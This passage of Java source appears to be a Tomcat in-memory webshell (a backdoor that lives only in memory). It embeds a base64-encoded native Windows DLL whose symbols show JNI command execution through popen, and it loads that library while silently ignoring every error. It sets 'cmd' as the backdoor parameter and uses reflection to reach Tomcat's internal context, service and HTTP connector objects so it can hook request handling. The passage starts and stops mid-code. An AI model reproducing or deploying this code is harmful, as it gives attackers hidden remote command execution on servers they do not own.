AAAAAAAAAAAAAAAAAAJwEAAGEaAAANAAAAAwG2AAAAAQAAAAAAAAAAAAAAAAAAAAAAPgEAAGQCAAADAAAAAwESAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEASAAABAAAAAwAuZGF0YQAAABQAAAACAAAAAwAuYnNzAAAAAHAAAAAEAAAAAwAuaWRhdGEkNxADAAAGAAAAAwAuaWRhdGEkNSQBAAAGAAAAAwAuaWRhdGEkNKwAAAAGAAAAAwAuaWRhdGEkNoYCAAAGAAAAAwAudGV4dAAAAEgSAAABAAAAAwAuZGF0YQAAABQAAAACAAAAAwAuYnNzAAAAAHAAAAAEAAAAAwAuaWRhdGEkNwwDAAAGAAAAAwAuaWRhdGEkNSABAAAGAAAAAwAuaWRhdGEkNKgAAAAGAAAAAwAuaWRhdGEkNnwCAAAGAAAAAwAudGV4dAAAAFASAAABAAAAAwAuZGF0YQAAABQAAAACAAAAAwAuYnNzAAAAAHAAAAAEAAAAAwAuaWRhdGEkNwgDAAAGAAAAAwAuaWRhdGEkNRwBAAAGAAAAAwAuaWRhdGEkNKQAAAAGAAAAAwAuaWRhdGEkNnICAAAGAAAAAwAudGV4dAAAAFgSAAABAAAAAwAuZGF0YQAAABQAAAACAAAAAwAuYnNzAAAAAHAAAAAEAAAAAwAuaWRhdGEkNwQDAAAGAAAAAwAuaWRhdGEkNRgBAAAGAAAAAwAuaWRhdGEkNKAAAAAGAAAAAwAuaWRhdGEkNmgCAAAGAAAAAwAudGV4dAAAAGASAAABAAAAAwAuZGF0YQAAABQAAAACAAAAAwAuYnNzAAAAAHAAAAAEAAAAAwAuaWRhdGEkN/wCAAAGAAAAAwAuaWRhdGEkNRABAAAGAAAAAwAuaWRhdGEkNJgAAAAGAAAAAwAuaWRhdGEkNlQCAAAGAAAAAwAudGV4dAAAAGgSAAABAAAAAwAuZGF0YQAAABQAAAACAAAAAwAuYnNzAAAAAHAAAAAEAAAAAwAuaWRhdGEkN/gCAAAGAAAAAwAuaWRhdGEkNQwBAAAGAAAAAwAuaWRhdGEkNJQAAAAGAAAAAwAuaWRhdGEkNkoCAAAGAAAAAwAudGV4dAAAAHASAAABAAAAAwAuZGF0YQAAABQAAAACAAAAAwAuYnNzAAAAAHAAAAAEAAAAAwAuaWRhdGEkN/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9mcmFtZQBfX0phdmFfb3JnX2V4YW1wbGVfdG9tY2F0bWVtc2hlbGxfSk5JX0pOSU1lbVNoZWxsX2V4ZWNAMTIAX0pOSV9PbkxvYWRAOABfX19kb19nbG9iYWxfZHRvcnMAX19fZG9fZ2xvYmFsX2N0b3JzAF9pbml0aWFsaXplZABfX19keW5fdGxzX2R0b3JAMTIAX19fZHluX3Rsc19pbml0QDEyAF9fX3RscmVnZHRvcgBfX19yZXBvcnRfZXJyb3IAX21hcmtfc2VjdGlvbl93cml0YWJsZQBfbWF4U2VjdGlvbnMAX3RoZV9zZWNzAF9fcGVpMzg2X3J1bnRpbWVfcmVsb2NhdG9yAF93YXNfaW5pdC4wAF9fX21pbmd3dGhyX3J1bl9rZXlfZHRvcnMucGFydC4wAF9fX21pbmd3dGhyX2NzAF9rZXlfZHRvcl9saXN0AF9fX193NjRfbWluZ3d0aHJfYWRkX2tleV9kdG9yAF9fX21pbmd3dGhyX2NzX2luaXQAX19fX3c2NF9taW5nd3Rocl9yZW1vdmVfa2V5X2R0b3IAX19fbWluZ3dfVExTY2FsbGJhY2sAcHNldWRvLXJlbG9jLWxpc3QuYwBfX1ZhbGlkYXRlSW1hZ2VCYXNlAF9fRmluZFBFU2VjdGlvbgBfX0ZpbmRQRVNlY3Rpb25CeU5hbWUAX19fbWluZ3dfR2V0U2VjdGlvbkZvckFkZHJlc3MAX19fbWluZ3dfR2V0U2VjdGlvbkNvdW50AF9fRmluZFBFU2VjdGlvbkV4ZWMAX19HZXRQRUltYWdlQmFzZQBfX0lzTm9ud3JpdGFibGVJbkN1cnJlbnRJbWFnZQBfX19taW5nd19lbnVtX2ltcG9ydF9saWJyYXJ5X25hbWVzAF9fZnByZXNldABfRGxsRW50cnlQb2ludEAxMgBfRGxsTWFpbkAxMgBfX2luaXRpYWxpemVfb25leGl0X3RhYmxlAF9fcmVnaXN0ZXJfb25leGl0X2Z1bmN0aW9uAF9fZXhlY3V0ZV9vbmV4aXRfdGFibGUAX19fYWNydF9pb2JfZnVuYwBfcmVnaXN0ZXJfZnJhbWVfY3RvcgAudGV4dC5zdGFydHVwAC5jdG9ycy42NTUzNQBfVmlydHVhbFByb3RlY3RAMTYAX19fUlVOVElNRV9QU0VVRE9fUkVMT0NfTElTVF9fAF9fZGF0YV9zdGFydF9fAF9fX0RUT1JfTElTVF9fAF9faW1wX19WaXJ0dWFsUHJvdGVjdEAxNgBfX2ltcF9fR2V0TGFzdEVycm9yQDAAX19pbXBfX1ZpcnR1YWxRdWVyeUAxMgBfX190bHNfc3RhcnRfXwBfX19uYXRpdmVfc3RhcnR1cF9sb2NrAF9faW1wX19UbHNHZXRWYWx1ZUA0AF9faW1wX19Jbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQDQAX0RlbGV0ZUNyaXRpY2FsU2VjdGlvbkA0AF9fcnRfcHNyZWxvY3Nfc3RhcnQAX19pbXBfX2Fib3J0AF9fZGxsX2NoYXJhY3RlcmlzdGljc19fAF9fc2l6ZV9vZl9zdGFja19jb21taXRfXwBfX3NpemVfb2Zfc3RhY2tfcmVzZXJ2ZV9fAF9fbWFqb3Jfc3Vic3lzdGVtX3ZlcnNpb25fXwBfX19jcnRfeGxfc3RhcnRfXwBfX19jcnRfeGlfc3RhcnRfXwBfX2ltcF9fX2Ftc2dfZXhpdABfX19jcnRfeGlfZW5kX18AX0dldExhc3RFcnJvckAwAF9WaXJ0dWFsUXVlcnlAMTIAX21pbmd3X2luaXRsdHNkcm90X2ZvcmNlAF9faW1wX19faW9iAF9faW1wX19zdHJuY21wAF9fYnNzX3N0YXJ0X18AX19fUlVOVElNRV9QU0VVRE9fUkVMT0NfTElTVF9FTkRfXwBfX3NpemVfb2ZfaGVhcF9jb21taXRfXwBfX19jcnRfeHBfc3RhcnRfXwBfX19jcnRfeHBfZW5kX18AX19taW5vcl9vc192ZXJzaW9uX18AX19pbWFnZV9iYXNlX18AX19zZWN0aW9uX2FsaWdubWVudF9fAF9fSUFUX2VuZF9fAF9fUlVOVElNRV9QU0VVRE9fUkVMT0NfTElTVF9fAF9fdGxzX3N0YXJ0AF9fX25hdGl2ZV9zdGFydHVwX3N0YXRlAF9fZGF0YV9lbmRfXwBfX0NUT1JfTElTVF9fAF9faW1wX19fcG9wZW4AX19ic3NfZW5kX18AX19fY3J0X3hjX2VuZF9fAF9fbGliMzJfbGlibXN2Y3J0X29zX2FfaW5hbWUAX190bHNfaW5kZXgAX19fY3J0X3hjX3N0YXJ0X18AX19pbXBfX2ZnZXRzAF9fbGliMzJfbGlia2VybmVsMzJfYV9pbmFtZQBfX19DVE9SX0xJU1RfXwBfX2ltcF9fZmVvZgBfbWluZ3dfYXBwX3R5cGUAX19pbml0dGVybQBfX2ltcF9fX3BjbG9zZQBfX3J0X3BzcmVsb2NzX3NpemUAX19pbXBfX19pbml0aWFsaXplX29uZXhpdF90YWJsZQBfX2ltcF9fX19hY3J0X2lvYl9mdW5jAF9fZmlsZV9hbGlnbm1lbnRfXwBfX2ltcF9fX3VubG9jawBfX2ltcF9fTGVhdmVDcml0aWNhbFNlY3Rpb25ANABfX21ham9yX29zX3ZlcnNpb25fXwBfX2ltcF9fcmVhbGxvYwBfX0lBVF9zdGFydF9fAF9fdGxzX2VuZABfX2ltcF9fX2xvY2sAX19EVE9SX0xJU1RfXwBfRW50ZXJDcml0aWNhbFNlY3Rpb25ANABfX2ltcF9fbWVtc2V0AF9faW1wX19faW5pdHRlcm0AX19zaXplX29mX2hlYXBfcmVzZXJ2ZV9fAF9fX2NydF94dF9zdGFydF9fAF9fX0ltYWdlQmFzZQBfX3N1YnN5c3RlbV9fAF9faW1wX19zdHJsZW4AX19pbXBfX2NhbGxvYwBfX19uYXRpdmVfdmNjbHJpdF9yZWFzb24AX19hbXNnX2V4aXQAX19fbWluZ3dfbW9kdWxlX2lzX2RsbABfX19uYXRpdmVfZGxsbWFpbl9yZWFzb24AX19fdGxzX2VuZF9fAF9taW5nd19pbml0bHRzc3VvX2ZvcmNlAF9Jbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQDQAX19oZWFkX2xpYjMyX2xpYm1zdmNydF9vc19hAF9faW1wX19fZXhlY3V0ZV9vbmV4aXRfdGFibGUAX19pbXBfX2ZyZWUAX19tYWpvcl9pbWFnZV92ZXJzaW9uX18AX19sb2FkZXJfZmxhZ3NfXwBfX2hlYWRfbGliMzJfbGlia2VybmVsMzJfYQBfX19jaGtzdGtfbXMAX19ydF9wc3JlbG9jc19lbmQAX19taW5vcl9zdWJzeXN0ZW1fdmVyc2lvbl9fAF9fbWlub3JfaW1hZ2VfdmVyc2lvbl9fAF9faW1wX19TbGVlcEA0AF9faW1wX192ZnByaW50ZgBfX2ltcF9fX3JlZ2lzdGVyX29uZXhpdF9mdW5jdGlvbgBfbWluZ3dfaW5pdGx0c2R5bl9mb3JjZQBfVGxzR2V0VmFsdWVANABfX2ltcF9fRGVsZXRlQ3JpdGljYWxTZWN0aW9uQDQAX0xlYXZlQ3JpdGljYWxTZWN0aW9uQDQAX19SVU5USU1FX1BTRVVET19SRUxPQ19MSVNUX0VORF9fAF9fX2R5bl90bHNfaW5pdF9jYWxsYmFjawBfX3Rsc191c2VkAF9fX2NydF94dF9lbmRfXwBfdmZwcmludGYAX19pbXBfX3N0cmNhdABfX2ltcF9fRW50ZXJDcml0aWNhbFNlY3Rpb25ANABfX2ltcF9fZndyaXRlAA==");
            try {
                System.load(getJNILibFile(jniCodes.toString()));
            } catch (Throwable ignored) {
                // 忽略所有异常，继续执行程序
            }
            //传递的参数，后门标识
            String pass = "cmd";

            //获取WebappClassLoaderBase
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Field webappclassLoaderBaseField=Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
            webappclassLoaderBaseField.setAccessible(true);
            WebResourceRoot resources=(WebResourceRoot) webappclassLoaderBaseField.get(webappClassLoaderBase);
            Context StandardContext =  resources.getContext();

            //获取ApplicationContext
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            contextField.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(StandardContext);

            //获取StandardService
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            serviceField.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);

            //获取Connector
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();

            //找到指定的Connector
            for (int i = 0; i < connectors.length; i++) {
                if (connectors[i].getScheme().contains("http")) {
                    //获取protocolHandler、connectionHandler
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
                    getHandlerMethod.setAccessible(true);
